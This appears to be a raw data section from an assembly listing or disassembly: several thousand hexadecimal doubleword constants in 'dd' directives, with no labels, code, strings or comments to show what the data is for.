dd 9E67473h, 5ECE6828h, 0E7DC1877h, 307E8283h, 90359402h
dd 85F2C00Dh, 0D25C80AEh, 2D925295h, 6C5363DCh, 75306885h
dd 0BD6D64EAh, 0F8A88BD2h, 97C4F68Ah, 0E9E2C6F3h, 95EED8BFh
dd 0E90A5EC7h, 74A5D3B0h, 0E889162Dh, 0FBCB5D6h, 61977A4Dh
dd 7F79656Ch, 0EC81D375h, 0FF6378E2h, 4E27BB02h, 0A455145Dh
dd 0A80E339h, 14837252h, 0BD4301C3h, 0B26840Dh, 46C8EB20h
dd 9960D31h, 417C0501h, 103B3366h, 0EC4B07D8h, 0B9839F26h
dd 0E5503BC9h, 0C870BE83h, 0FA6F2905h, 3F2DFE40h, 0B44EC004h
dd 99D1CF4h, 63A45921h, 0C294C331h, 0D4A008D1h, 5EB4CD81h
dd 23DDE5Ch, 0F457EFEDh, 5A8A4050h, 674C2631h, 0C5BC33B0h
dd 0F9232AF0h, 5B00294Ah, 61069CCAh, 0FE2FE21h, 1C153FB4h
dd 7362F28Fh, 237D68A9h, 0C2177918h, 1C08DD0Fh, 597C2507h
dd 1E7F658h, 0F736E427h, 2FE6C1DEh, 59F9640Bh, 0B258965Dh
dd 62A2105Bh, 5FF82100h, 0D90AD535h, 0BCB1135Bh, 0E30F233Ah
dd 928E9BA2h, 0E14FD076h, 2D306283h, 56C12237h, 0E96008A1h
dd 52008FA3h, 6F43ABBAh, 0D7292E1Ch, 1EDC148Ch, 2139F04h
dd 7E26C21Eh, 788C2B79h, 0AE5276Bh, 2CEE371Fh, 48DC0FAAh
dd 0EB017B42h, 0AEF26640h, 0EEC58980h, 4780BF7Fh, 112DD029h
dd 3D692117h, 0C7E64604h, 1FB33C8Ch, 0CD92083h, 0FE18677Eh
dd 7604C66Bh, 4923161h, 7D580282h, 0A42CC84Ch, 4CC0EC5Eh
dd 2D4E1B43h, 88D44431h, 5692E9E2h, 0B95F0086h, 32478ADDh
dd 10E817Ch, 0A431552Ch, 0CDBF87E1h, 677B411Bh, 0B8A4C361h
dd 0E908400Ch, 3688366Eh, 0E9B879A8h, 69C41F4Fh, 782D22ECh
dd 1E143C93h, 91E02C0h, 5455699Ah, 0BC031719h, 70074FE8h
dd 0C6035DDAh, 818FEFD1h, 2E2D6DFCh, 6A243683h, 28030EC3h
dd 0CA73F8F3h, 0BCE9A189h, 4DE02Ch, 815585h, 6A57B0EFh
dd 0E970591Fh, 5240644Ah, 719249F8h, 32DF7DF7h, 541AE29Eh
dd 0B85855F4h, 994B0717h, 0F105406Eh, 309166B4h, 58808AAAh
dd 0B1F29D5Dh, 48969720h, 0D02E4C57h, 3490EB21h, 14A7F68h
dd 158BBA6h, 8463BB05h, 786EA041h, 0E975370Bh, 89A9C8DEh
dd 0FE67B8E1h, 79E6272Dh, 57357660h, 52BB641Dh, 317BD281h
dd 320514Dh, 3CD02C20h, 449E1087h, 2CB6A799h, 0F2CE7E25h
dd 0BA61C9FEh, 43F0E6CFh, 23810405h, 8401341Ch, 0E907047Dh
dd 177CA29Ch, 51B42642h, 0F65B4ADFh, 0F042D299h, 0CC434668h
dd 1E1C3567h, 1ED8AB10h, 0E2F64FCDh, 7CFE2040h, 0B1BD5FACh
dd 998E3FE4h, 4FBA4250h, 0D205ED11h, 964017A8h, 0FA1413E0h
dd 0B416015Ch, 9A6D0737h, 54626F34h, 0DBEE959Fh, 4F8EFC70h
dd 4B35A4B8h, 0B0E6C214h, 0CFA45BDCh, 26149801h, 494FCD24h
dd 3C5EB2CAh, 35824B3Bh, 4BCB50EDh, 0CB5AA251h, 7A2F84D7h
dd 823317D3h, 0F4B743CBh, 39F58E1Fh, 0BEDDED67h, 0BA4A305Eh
dd 0F36017FAh, 28ECA52h, 3AEF983Eh, 259833C2h, 0A9D30C36h
dd 975DB25h, 27E29ED4h, 687B2C8Bh, 4B7856EBh, 3408DCFBh
dd 628239BEh, 8976F46Ch, 5304695Dh, 0A0F6B22Bh, 5472685Ch
dd 4026B708h, 4C9FB882h, 471D0EC4h, 14DE297Eh, 0E91308EAh
dd 2DF680D2h, 0B72C4DF5h, 50586160h, 0B4F49E9h, 5609053Ah
dd 0FD56232Eh, 9852CF17h, 4594A7E4h, 0B1DF886Ch, 0D5B0095h
dd 661D5922h, 18A87498h, 0E3E0E2B4h, 0A49A2AF2h, 0D7D5F628h
dd 0ED0E9B78h, 4DC53006h, 0C66008E8h, 0C766BD21h, 779E6BF2h
dd 0F0FB5025h, 0AC864A1Bh, 6177C1A9h, 0B4426B73h, 0EA080071h
dd 0F95A6859h, 629B4C91h, 5E4AC204h, 16463AD7h, 57CB8A88h
dd 7E888731h, 0A8022714h, 461C2568h, 7A801D32h, 643A4925h
dd 0FF093BB8h, 7C6F107Ch, 0ADEA08EDh, 623CBB81h, 422E5C65h
dd 0DE95B21h, 0C3F91BD5h, 288B7E76h, 20C25729h, 0B30F9E53h
dd 24EBD0D8h, 35BBCCE7h, 0A426F4EFh, 244A815Ah, 7CA88660h
dd 784BD8A0h, 823BB124h, 932D68E9h, 142FD2AAh, 0B64BF653h
dd 0A8FC103h, 2FB43B01h, 258C406h, 0E0F1E90Bh, 5F261EDFh
dd 807E0028h, 5B6801C5h, 0C005434Ch, 886DB450h, 51580EE3h
dd 0EB09D0B5h, 60CC8383h, 5C8A301h, 70AB6DC5h, 84EE367Fh
dd 4C6E9A0Ch, 2DE99427h, 0B6B8E1Ah, 26F8D8BAh, 2753523Fh
dd 0B6A684ABh, 0A07EE5C2h, 17DB89Dh, 3A3D5871h, 0D0F70706h
dd 1EE49435h, 0B664F8EBh, 831F1169h, 0A05A8366h, 5EB4E914h
dd 4F13CA21h, 0E9C3DBA6h, 785B730Eh, 0ABB4C6BCh, 0D92C9F29h
dd 103E6421h, 277C8324h, 6B1190B9h, 47D1974Ch, 0DF82335Ch
dd 0F8E7C40Dh, 37E913B8h, 0F791A808h, 9867C6F6h, 12A10598h
dd 0EA5A0F4Bh, 0B84BA38Ah, 5D2884ACh, 0E52DFF14h, 0C69A65E3h
dd 0C4DC6042h, 65DA85BBh, 0D7F5279Ch, 0E45E5F9h, 5D68D2AFh
dd 54B657Fh, 0BB51535Ch
dd 5822A082h, 344EBFB7h, 360AEAB6h, 0D42D5DDDh, 85D9764h
dd 5516B4A0h, 0DFEAFEF1h, 0DDB80843h, 0A970BE56h, 0D1652D0Bh
dd 0A1840FEEh, 12D3E94Eh, 5D97AA04h, 0A10D3036h, 0C4E4D455h
dd 0B7287FA2h, 0D917A8E1h, 0D6EBEDCBh, 61930556h, 0FC4161B1h
dd 0B26B5FFEh, 68D3C941h, 82F6C51Eh, 3DAB16E0h, 577109FCh
dd 179EBF04h, 0C9AF340Fh, 0B23A96h, 4B28C421h, 0E8291580h
dd 355F5D01h, 678615A5h, 49121822h, 897DB87Fh, 82FDE551h
dd 58014318h, 92A8C5DDh, 3F00FEF7h, 4FE06BD3h, 0F0C24E21h
dd 0C34E4398h, 87C9E340h, 0BF29101Dh, 0B952DECh, 0B52F0446h
dd 5C4E0016h, 8135F114h, 94EE75E6h, 45E92809h, 3DCA7B1Eh
dd 70B717A0h, 68AFB6C1h, 4F2E0C97h, 0F39EFD86h, 68415E21h
dd 307E1E2Bh, 817A03CDh, 0C79E5E51h, 904B3B0h, 9F87E95Eh
dd 0E3328F42h, 0D8F3CA3Bh, 0EEB12736h, 0E17C26F2h, 0F10EB62Fh
dd 3AD54BD3h, 0D40AA9FAh, 4E42F2F3h, 14B762F8h, 75949710h
dd 0B352D05h, 31800DF1h, 618309EAh, 0E5F5C76h, 99B360A7h
dd 7986A256h, 0C4C8BD2Dh, 0B2D5CFFh, 0F8D01F9Eh, 38CEFBA7h
dd 93BFFF9Eh, 0D2ED01BFh, 25D5442Eh, 81080EDCh, 8226344Ah
dd 5860AEDEh, 5082DB67h, 808D7FFAh, 4C8B1C2Ah, 0F05ABAE2h
dd 740A08BBh, 0F2FAE918h, 56A68BA7h, 13484B11h, 0BE96D0E2h
dd 0A162D069h, 6EFDEEBCh, 833C8635h, 2655AB07h, 0D96DC72Ah
dd 7B258AC6h, 6C2FCCA9h, 94C05928h, 1AB2A3F0h, 0A15FC89Fh
dd 0FA2F756Eh, 5BB9C57h, 8C13BE68h, 0EE9E5261h, 2C42C752h
dd 6BF427DEh, 0A55A8942h, 94C2F2C8h, 4F29DEA2h, 2980B3E5h
dd 0C73DECC8h, 0A4EA17C0h, 4A985359h, 4BA1329h, 0FCFD4478h
dd 6070E61Bh, 0BB9E9A5h, 38009D4Eh, 0C153FBFh, 5FE8E926h
dd 415D8ABEh, 0F616ADC5h, 5221707Ah, 0B6F084A6h, 2FEE7C17h
dd 0A050731Ch, 0A751EC62h, 5665B0D7h, 88B39F23h, 0A78C0CCh
dd 407C4C18h, 2BE9FE0Ch, 772938E1h, 479FEBF5h, 2648F968h
dd 0D32056CFh, 0E939D449h, 0FB7B9D25h, 4D183D52h, 0D1F1DD98h
dd 0A437390Bh, 0E929902Dh, 177F91CBh, 7BE7BDC2h, 1DC34B5Dh
dd 6CD21A2Ch, 0A8511D4Ch, 0F1272802h, 0B0360A6h, 6FE9F929h
dd 29A8CE4Eh, 0C4BB2D80h, 895A010Fh, 78EAF600h, 9F315175h
dd 88265DAh, 0A295FD96h, 5678B019h, 685960A9h, 11BC79CFh
dd 0B40A4072h, 64F2D1Fh, 3828FCC0h, 9031AB2Ch, 0E713BD00h
dd 0E99BE927h, 0F2924328h, 53502534h, 92E9C141h, 0B0C96EA3h
dd 0BD9E34E0h, 22270845h, 3DEA41Dh, 0DAEA2505h, 738AA540h
dd 0C645491h, 9633404h, 20735266h, 0F7247252h, 9B09C9D2h
dd 13790F7Ah, 0DCF50E82h, 0B1A262EEh, 46217DCh, 60A25C67h
dd 3D653C54h, 0B50BE32h, 899E4031h, 0CF6881AAh, 0C424FCA4h
dd 5800772Eh, 0C3FEEBD0h, 7A54F2F5h, 0BB95B12h, 5A40BE89h
dd 6D1209BFh, 0A801692Ch, 7AE4006h, 928E897Fh, 6D185F11h
dd 0BD78FC38h, 5AF81594h, 0B321E04Bh, 0C5CC68EDh, 7B884C4Ah
dd 5F7E610h, 205F895Dh, 77CF32E2h, 7EE9F592h, 57D65EC2h
dd 30DCC189h, 9F5F6958h, 68026BE4h, 176D1ECDh, 0C5805058h
dd 520206h, 1D7479C4h, 0E202BA6Fh, 31612B46h, 2D5F6EAh
dd 65410D78h, 42F13A40h, 13B6384Ch, 7AECE6B8h, 0EAA02E5h
dd 6DD6D6Ch, 5A0D0AABh, 4838A229h, 0DB9B1025h, 14F75619h
dd 0F0D6D15Eh, 0A79A695Fh, 83E3DCF9h, 0FDEC1297h, 50AF8188h
dd 5CFAA62Ch, 712D76B4h, 0B0D86555h, 0F41280A0h, 2E0D5188h
dd 0BA707F65h, 0A2644840h, 0C00C0DD4h, 0F39003E3h, 4AE65D82h
dd 609EC0C5h, 0C0BE4564h, 0F5B652B8h, 39B492D2h, 67A30FF7h
dd 76901F8h, 6259B641h, 834B1565h, 54508425h, 2DA68CBEh
dd 0A5D47395h, 566951D9h, 6468857Fh, 0D6AFD829h, 3B6E3F13h
dd 51C68F8h, 0D77D9F40h, 111809D7h, 858B70EBh, 16DDD482h
dd 5DE2D30h, 358844F1h, 416805D6h, 56375F73h, 0F57A2050h
dd 309631Eh, 4EF2977h, 0EEF96Fh, 0C25830B9h, 0CE130176h
dd 164C0DE9h, 97D77A5Bh, 295A9540h, 5953CB12h, 0E67F9AA9h
dd 40D84EB0h, 0E22DCDCBh, 0DA483116h, 5C5084F3h, 0F7E65909h
dd 0D344D24Ah, 0B90956B1h, 298B42F6h, 712E06CDh, 0BD0FE2D1h
dd 9AF914B3h, 1FA669E7h, 51A43A84h, 7135D800h, 58D318B9h
dd 0E9090D29h, 92F9681Eh, 8757278Ah, 609E380h, 984B6E35h
dd 5ECD40BFh, 0A0A1519Eh, 21DCD10Ah, 225D2894h, 92F19554h
dd 945FA73Ch, 20E91679h, 5BD47795h, 1F4075B2h, 0AE93E036h
dd 2F59E50Ah, 0FC235E93h, 27197F22h, 2AC5F021h, 605AE99Fh
dd 0D7ED64Dh, 1781B5F1h, 0D9034BDCh, 0B1F5B7Ah, 0EFA86167h
dd 0CA41DCB0h, 5BCCB948h, 2D8F4F1Ch, 7B6546C0h, 454AC368h
dd 40AAFC34h, 6F72D5Bh, 0D09D72B6h, 7A662006h, 0F08C70B7h
dd 9DDB670Ch, 0BC9FF2E7h, 0F376B957h, 1675173Bh, 0D2F3E7F1h
dd 31A1E5B8h, 0A4C22CC3h, 46B0BEF8h, 511AAE0Bh, 0DD0B72BAh
dd 6867B083h, 95E6A53Ah, 3F757ECAh, 33E20757h, 21B5F7Bh
dd 0E82F1BBh, 2B65C509h, 2056F82Fh, 0F64B555Eh, 0C035B2B4h
dd 1C62D13h, 8B3E170Eh, 0E1F72508h, 0BDD94055h, 4EC0C654h
dd 0F4EA2822h, 509917h, 414986EDh, 5DF821D0h, 640B2FCh
dd 7B7D0025h, 903564FDh, 419D980Ch, 0E06A5883h, 310413C8h
dd 60E96886h, 8851CF90h, 957CF0C5h, 56B9F0Fh, 0FEBDE876h
dd 81B7AC48h, 8B94856h, 0E6C3407Bh, 1ED23F27h, 7DAAE913h
dd 57211C49h, 7DC57492h, 5F4362h, 0F281DAF7h, 0D803A80Eh
dd 0A5E2CF2Eh, 5F802768h, 24BFE5C2h, 1B2BEFF9h, 0EEA44210h
dd 548E72C1h, 0A4015703h, 1AB47669h, 6731C789h, 3291E5A0h
dd 5429CDBDh, 87B7A2F5h, 8E010659h, 48EA40D3h, 7AAD81BFh
dd 442934C8h, 0CE238210h, 2C7DE0Bh, 0F7F6DFFBh, 6961A86Ah
dd 5EBB2CF1h, 0C3B2E2B8h, 0DB1A4955h, 2E51069Ch, 7564087Eh
dd 0DF3870Bh, 0F43008BFh, 3D8B0999h, 0ABAB290Bh, 0F36B06F1h
dd 0C8390B0Ch, 44CF93D4h, 98BA14B7h, 174F8C4Ah, 5628A7E6h
dd 3A9D6EADh, 0FD53E4A5h, 0F5F32C9Ch, 5F5EF240h, 0C2C6039h
dd 16270A54h, 7182426Bh, 0A6651CC7h, 6CA24941h, 4A925FADh
dd 29BA62F7h, 92BEC5BDh, 0E992B405h, 0A3BD624Eh, 7AB10928h
dd 246598D1h, 5BEC4108h, 6892E1F1h, 4AACC16Ch, 57F474CDh
dd 1A189501h, 0BCCB53h, 4765F469h, 8CC6E965h, 2094D9B4h
dd 75980750h, 18504C66h, 14407847h, 72DF801h, 0E911A075h
dd 31584EF9h, 3A061498h, 0ED9FC6B2h, 7F2602A6h, 46BD551Ch
dd 10ECD7D4h, 1373B452h, 6CC307Ah, 0A95B83EEh, 8120470Eh
dd 0E8F9726Fh, 7F77984Fh, 9031745Eh, 8B7A02EFh, 136A4819h
dd 8990B032h, 14D73D2Ah, 0F3F20160h, 935E0840h, 2822273Bh
dd 250BE09Ah, 0C0EE02BDh, 0A12C5A5Ah, 9FB214C7h, 0BC808766h
dd 1D045932h, 2C68AF84h, 6DE90422h, 0B56F45E1h, 0F0B57E05h
dd 5305B66Fh, 76A41874h, 82B6253Bh, 0C1AF637Dh, 312E7EB5h
dd 7BC018BDh, 5B3CB2E0h, 5EDE271h, 29231D53h, 85510FBh
dd 0BDDA5E38h, 581804A3h, 66C260DCh, 0A63500B2h, 2813D427h
dd 63EB0568h, 79075675h, 310BE8C1h, 0A4AC364Fh, 9AF1B1h
dd 1DD1F749h, 5BF98741h, 0FECE09D7h, 32B5530Bh, 0A287598Bh
dd 1C844B81h, 4C5210F4h, 0A62C77E1h, 0E28E2ABDh, 77EA6688h
dd 9857660Ch, 0E2BD2B97h
dd 0A8357C8Bh, 887227D6h, 0ACE04F19h, 0DA03FC2Dh, 0DB6F1C4Fh
dd 4789F4F4h, 69C26130h, 0CADE1051h, 0E0905051h, 96B82954h
dd 5855C925h, 0E538DE71h, 0B95FC65Ch, 192B049h, 9517E12h
dd 0E11EF4F5h, 0E13C6205h, 5DA72ADDh, 0C024B94Ah, 2D966851h
dd 0E05B4E57h, 49167CD3h, 13BB4A8Eh, 0E52FC69h, 0C056A53Fh
dd 67AA8FF7h, 4F4090F3h, 1627A65Fh, 0F440DA60h, 0B55166D0h
dd 9A18F60Bh, 576459C8h, 828B372Ah, 5B5274B2h, 7A8C0C5Bh
dd 0A37A567Dh, 2D561425h, 4E16E9F8h, 7B54B7BBh, 0D1E7362Dh
dd 0C6EA5B8Fh, 175496DFh, 3789E3E9h, 72B983CFh, 44CACD0Eh
dd 654EEF58h, 0AAFD0986h, 1A06809h, 6F091646h, 75FCB03h
dd 8E93C477h, 4CE1B04Eh, 47913062h, 29354A18h, 104A0558h
dd 0B24BE471h, 0A5CBDFE7h, 8BB3D5A1h, 7AF544D1h, 0A8F80534h
dd 0E545D3DFh, 47603EA6h, 1274069Ch, 64EB2966h, 70A1F856h
dd 1E156812h, 805896B4h, 0CB0ABE56h, 9B32B772h, 488D3902h
dd 0BE4178CDh, 0C5E98541h, 5DE230BAh, 6962AC68h, 0CB6FB4Dh
dd 0F44475BAh, 9D63FAE1h, 5EF1A28h, 0FFE8664Ch, 411ECB14h
dd 0F2C7E08h, 9DBB4EB8h, 6ADAEC73h, 0ED093D9Ah, 7ABA5203h
dd 22D0BA50h, 0E0778D9Fh, 6853D161h, 5B884B3Fh, 5C13C43Ah
dd 0CC1661BFh, 0F301014Fh, 0EFA74EDDh, 0FB96DCDEh, 3794A1EDh
dd 0B51EFC4Fh, 0F9058DE6h, 0DD22D468h, 91022354h, 0D862107Dh
dd 0ECD56816h, 93035297h, 0A81913ACh, 0DCEBFB07h, 469A9346h
dd 24315D09h, 0AB28C047h, 0E99016CEh, 0B45AF889h, 0C3755CBEh
dd 23BD7CC9h, 6021232h, 3F97FC03h, 0CE518E01h, 502BE90Dh
dd 49D6BD9Eh, 8102E272h, 16728BCDh, 0C60603Eh, 39A52D17h
dd 75461940h, 8C71CDDAh, 0CD0CCF3h, 291E9172h, 0CA29E992h
dd 16BCF77Ah, 5DF79010h, 657F463h, 0F0E34702h, 7F0F7844h
dd 0C87F74C4h, 62647D27h, 89779EDh, 531360B0h, 0FB00DAB8h
dd 816E452Ch, 6114DCC9h, 20F9285Eh, 6F211E6Ch, 845A3A1Ch
dd 0C6C4AECCh, 3CAD8BFFh, 393E58B2h, 16C282C9h, 55FCB1E9h
dd 0B3A38096h, 15BA67F8h, 981B80h, 9B05EA45h, 1366078h
dd 646F058h, 0ADA377Bh, 1C7C0ED0h, 3D729AAh, 771659F3h
dd 2364F3E0h, 0DDD5F65Eh, 0D290D6FDh, 0E3E06620h, 0D6B12B9Fh
dd 8D4242E4h, 0F1520009h, 95AEFDFAh, 564B6850h, 49D377F7h
dd 9910FECCh, 0BA804E33h, 0F7560994h, 0B7814A79h, 7FC53A6Ch
dd 4ECB8A80h, 0C14B04C9h, 0FA4706E7h, 7C48D6D0h, 0EC2A40E6h
dd 762E1513h, 7EA11F09h, 0F550CEBCh, 0F784B0F8h, 0A7CBEF9Ch
dd 0E275C19Ah, 0A64CDDB0h, 8BD7CA2Ah, 15B0E706h, 3E9A3AD9h
dd 0CD2DEB84h, 84BD356h, 0EAA0B0E0h, 0F33BF51Ch, 59DCBD01h
dd 9C35033Fh, 0B219102Ah, 0D27B0D04h, 0AF86C32Ah, 0B9D9A93Fh
dd 1264DD20h, 230B39F2h, 33678625h, 88C32512h, 3A3F8C61h
dd 0ED816F1Fh, 8E5C0FFh, 80ACB6ECh, 4CB45F5Bh, 430496Fh
dd 0BBD44D34h, 0D35881FFh, 0C57E7869h, 0E8A34461h, 3E124901h
dd 894DBE6Bh, 59D6310Bh, 0EC380812h, 0F6CBCB9Dh, 58E6EA8h
dd 0A3FD442Dh, 4A89AE2Bh, 4FA1BD41h, 5804E33Bh, 0B56D20BCh
dd 7BBD8170h, 3BD5E90Dh, 0BEDC20D1h, 0AAD1F728h, 0FB807B40h
dd 6E2AC12Ah, 0FA603FEEh, 3B284E3Ch, 541017Ch, 8B28108h
dd 7B647EB6h, 0FE640AEh, 1748735h, 80E86C4Bh, 5D250CD0h
dd 405A37FEh, 286F572Fh, 5C9C2BC0h, 0BC8094EAh, 3179D8D0h
dd 0B5085095h, 3886FD2Ch, 97A9EB52h, 8DDC1FBBh, 3BD163A2h
dd 0BBE69F04h, 0ADD7C8A9h, 11EE88F6h, 3EA04F34h, 376600BEh
dd 0E68148FAh, 512F6429h, 8592024Eh, 28B075AEh, 59B3507Ah
dd 84DF539Eh, 7AC01BA4h, 9F23931Bh, 0C20C49FAh, 0ACDC6CE9h
dd 15A17D3h, 0C7F1B2DAh, 201BFEE9h, 0DA33790Bh, 1C584C37h
dd 0B9627401h, 70F8296Eh, 3ABE7DF6h, 14FF0449h, 4A213CB0h
dd 8908A9C1h, 77356249h, 0A4BF5BC5h, 83BD3A0Fh, 4F679BCEh
dd 9DF6B07Eh, 5AF7EDEFh, 0BB8603B8h, 4D228E4h, 0D0082BC6h
dd 576FC7Ch, 7542F1Eh, 0A9E9D88Ah, 0AF7C8C29h, 58E1300Bh
dd 8DEE6707h, 0B9FE295Bh, 0F352BF0Bh, 5C93BD65h, 2129BA61h
dd 259D68BAh, 0D3018D98h, 5A080084h, 0C25E950h, 278E14D5h
dd 9A71F6DEh, 7B41E501h, 0C5D87372h, 0FDA50903h, 0F1A018Ch
dd 5ACAC657h, 65FFB359h, 32BDED4Ch, 0A372C9DEh, 0F7B09E44h
dd 59991E20h, 0B04B585Bh, 139F5831h, 61614B6Ch, 4900DE5h
dd 0D3691182h, 2E9DA4ABh, 10D7ACF3h, 0CFBD07CAh, 5D0B465Bh
dd 2FF56C90h, 521A6210h, 0A3C62403h, 425A01ADh, 9777ABB2h
dd 7CF8DCD2h, 0FA68F4A8h, 0BA316B4Fh, 5F00D807h, 28143005h
dd 28DE616Dh, 5E5A072Dh, 0A8CDAE88h, 0BDD021E8h, 2C3F2BF3h
dd 0BF8062BCh, 17184F29h, 0D8FA5C89h, 247DE831h, 0B43C132Bh
dd 81B4AEBCh, 89FDB20Bh, 59125F31h, 4A778886h, 11169A28h
dd 9E04FA63h, 0F8175015h, 68444E97h, 0EE53D2D0h, 1679CE4Eh
dd 2F431EABh, 0D16B8059h, 4BF1A09Fh, 344527CBh, 0EE4183E5h
dd 82AA8348h, 68A71D84h, 174D1EB8h, 0BB522D49h, 0F504A624h
dd 0B9E58C72h, 2575FA4h, 5BDF87FBh, 0A496DD61h, 632C57ABh
dd 86F3310Fh, 299079Ch, 7D46E3EBh, 657D5E38h, 2DCC20EEh
dd 5EDA1019h, 0E24E250Bh, 86A05F65h, 7165774h, 0B28ECEDh
dd 2644183Fh, 0F81748DAh, 0D9D829FBh, 53919C90h, 76F5BB87h
dd 0E43E169h, 0D96E6135h, 0C6584170h, 62BF004Ch, 8CA2E48h
dd 8005147Dh, 9580C967h, 0BC0EEB2h, 0E04EB652h, 0BCC097F4h
dd 7B59E9CDh, 0DB040B4Ah, 582F5E59h, 0A4B6768h, 0C89882ADh
dd 0B8809D9Ch, 0B720129h, 3E0C107h, 45AD025h, 0D5201390h
dd 0BD509F51h, 499C6819h, 167AFAF1h, 1075DB2Ch, 0EE58CD56h
dd 9F2F101h, 0C6497F96h, 7D8B980h, 0C12842CFh, 0F201B4E2h
dd 716D41D0h, 0E425B0E9h, 149F9B3Ah, 2F726852h, 976A415Ah
dd 0FF5D177Fh, 8B3FBE29h, 18E6283Eh, 97E31EA1h, 35575EB1h
dd 86483BE6h, 2FC3984Fh, 59B7E99Ah, 0C3E9E2B0h, 0D00797F8h
dd 0C7F780E7h, 17514E3Eh, 7C90B51Fh, 0F2CAFE17h, 96523E04h
dd 0D5CDE1A6h, 1774C92Ch, 0F263E068h, 0C73B166Ah, 0E07B73C9h
dd 4001CDA3h, 4729980Ch, 0BD305824h, 2A6341A1h, 0DB8E48C7h
dd 0AEC9B003h, 9F33D01h, 4EDF7E92h, 9E49B726h, 0DCB1B07Fh
dd 0A43CB9B4h, 9D715A05h, 0D0EF18B5h, 8A99E95Ah, 9F17C49Dh
dd 68132A70h, 6C34057Eh, 35E9D620h, 31929F5Bh, 0C46F47C1h
dd 609D6282h, 5C3040D9h, 2B0F6965h, 16932A58h, 96540512h
dd 0D226AA7Eh, 0BCB90B90h, 0A483DCEAh, 0A150A4E9h, 0EF5A07FEh
dd 8A9F93ACh, 82894841h, 0D144BEF3h, 0DD4751E0h, 3A6789A9h
dd 0B3532B81h, 0D879EADBh, 0FDBE5E09h, 0AA84EA5h, 0E6202925h
dd 40746B2Fh, 0C6C031B0h, 449D11E6h, 5F26F046h, 0DEFCF28Bh
dd 4BC9C11Fh, 3E9C5F9Ah, 7F95629Dh, 90971416h, 4AC26899h
dd 0A4A1F819h, 0EFE2AC2h, 0AF330417h, 195F8A48h, 592C4C29h
dd 601BD38h, 0E92E900Fh, 1D697CB5h, 3FCBEF88h, 0AA96F5B6h
dd 0A34EABFAh, 0D4F9C641h, 9C2C6A14h, 17ACBD4Ah, 859DD3DFh
dd 6A76E67Bh, 30098407h, 0B7B3C4B5h, 0C8FE42CCh, 0BA1EB260h
dd 4CB96AADh, 0D4062357h, 824FE855h, 0DD232B01h, 848E91Dh
dd 7865F23Bh, 0D378122Fh, 2FE64B22h, 936F0748h, 0BAB599D7h
dd 59D90CB1h, 51AAB07Fh
dd 13E3B13Bh, 0DA0304E1h, 10CE309Bh, 137E216Ah, 6D08028Fh
dd 0FD311646h, 4B8200BCh, 0D8F77BBDh, 57240h, 297E0C9Dh
dd 0D185E9C3h, 0C36AEA9Dh, 0C90C595Ah, 78C6489h, 108B835Ah
dd 2ECB9374h, 5A033A5Dh, 0E112E8C1h, 412BE0FBh, 274137A8h
dd 438480B2h, 93074B0Ah, 4D373F7h, 9D697105h, 27DAC5Fh
dd 2B68EE29h, 61E8DC5Bh, 92525F2Dh, 0A908C61Eh, 0D37E25E5h
dd 1A4CD611h, 0FFC62125h, 6CBA5B4Ah, 3D30E917h, 0C7C1A79Fh
dd 21183A06h, 0C53F62EFh, 142EA333h, 0D04EDDDCh, 0BCDEB8Ah
dd 1320FA2Eh, 8025C34h, 5BD8215Fh, 9FF71B01h, 9BE504Ah
dd 1BD55F58h, 0B94E19Dh, 88599087h, 3F01B65Ch, 919C5B4Eh
dd 0C6692FE9h, 24A25051h, 0C7F5D38Ah, 0A60CB46Fh, 7EE1103Fh
dd 200A682Ah, 5C27B5CDh, 8CA7A231h, 9211CC45h, 9C2397D3h
dd 0E12DC434h, 8E6E2AC2h, 0D80D1702h, 0F899631Ah, 4C6F9F16h
dd 5101CB09h, 33575DB9h, 0BBA12A61h, 54025ED9h, 90081D5Bh
dd 0E5C10C4Ah, 121DC5BEh, 7FFB0267h, 4320EAB5h, 0F6D3BA84h
dd 0FF281715h, 8B202C4Fh, 5A1EA09Ah, 1D83CF81h, 836B927Dh
dd 0C66F7BF7h, 5C83C6B5h, 1BFEC701h, 0FA31E261h, 0C0032F30h
dd 0DECC2CDh, 1761EBFh, 1302949Fh, 0E808ED68h, 7152DE3Eh
dd 0FDDFB10h, 0EDC31BEh, 6587A235h, 6EEB7598h, 3240549Ah
dd 83A029ADh, 0EDA66708h, 0E1B27C95h, 3A80A2E9h, 405B83CCh
dd 3D2A686Dh, 0E9124101h, 914C53F1h, 4FE31014h, 8968A97Bh
dd 9935C29h, 0A1F1D388h, 561E0C81h, 43F85808h, 552597D4h
dd 0E0C653D1h, 61E5DA95h, 0F9B230AEh, 25A2EE97h, 0CE12924Ah
dd 3FB0AF41h, 37E9AB16h, 0DE5FC2E4h, 91EB9871h, 0F56056F5h
dd 6B018190h, 5309708Bh, 0FEA586E9h, 5A3DF905h, 0E4541EC7h
dd 755F5407h, 58CCD21Fh, 0D65CD57h, 6A24440Bh, 67A0DCC4h
dd 1B5B059h, 154203C9h, 0E602E6C1h, 0D954B8A9h, 5371770Eh
dd 76BA9205h, 0C3FE6F4h, 423DCC78h, 8803FB40h, 0BBE9A348h
dd 0C72526BAh, 0F9DA0BB6h, 29D986F7h, 0B8CC2EB6h, 11E44E23h
dd 0C47CB8B0h, 4D0F078Eh, 34DD92DCh, 10C88324h, 7A683609h
dd 5D543126h, 8DE059CEh, 3A1102B8h, 732FF204h, 0C94A31BBh
dd 0B8B05CDh, 0F7870E48h, 6A6831E9h, 0B2AF304Ah, 90EF0180h
dd 425603FBh, 0CF2917EDh, 0B8D04FFh, 0E4875566h, 0AA505404h
dd 4F41F9C9h, 5F02434Eh, 0E0171441h, 290A1B69h, 8BA52DEh
dd 61E2D696h, 57DEE985h, 0A172ACEEh, 0E23BECA1h, 7D055AB3h
dd 53CDEE4Dh, 100CCB3Fh, 4E3E467Dh, 2C9BF602h, 0F680285Eh
dd 302A2496h, 48F7013Dh, 208B573h, 0BFCB8195h, 646DE042h
dd 8940A60h, 6E06C69Fh, 0B0C6129h, 7D590336h, 9681905Eh
dd 896EDFF4h, 61BD5500h, 1422091Fh, 3D87CDC0h, 2FE96D2Dh
dd 9AEABB44h, 432659F6h, 5505F010h, 0CD456C68h, 59D020DAh
dd 0D81D223Dh, 1AF60166h, 64E97E3Bh, 0D36F2A35h, 7E78B43h
dd 104CB60Ch, 0CA444F8h, 5C9A181h, 201787ACh, 6C9A99C3h
dd 9D861054h, 8B5E661Ch, 0A0EDE21h, 202FB9EFh, 0D7C98167h
dd 0C183E334h, 8E82879h, 0CDFFAE3h, 7ECA130Bh, 0CE29040Dh
dd 0BCBE0CE9h, 63ADC4C2h, 0A43F9099h, 0EF4EC1C6h, 0A20F56ACh
dd 965F35B7h, 3A61A1B1h, 9BB89D8h, 56F7656h, 0C8F3B705h
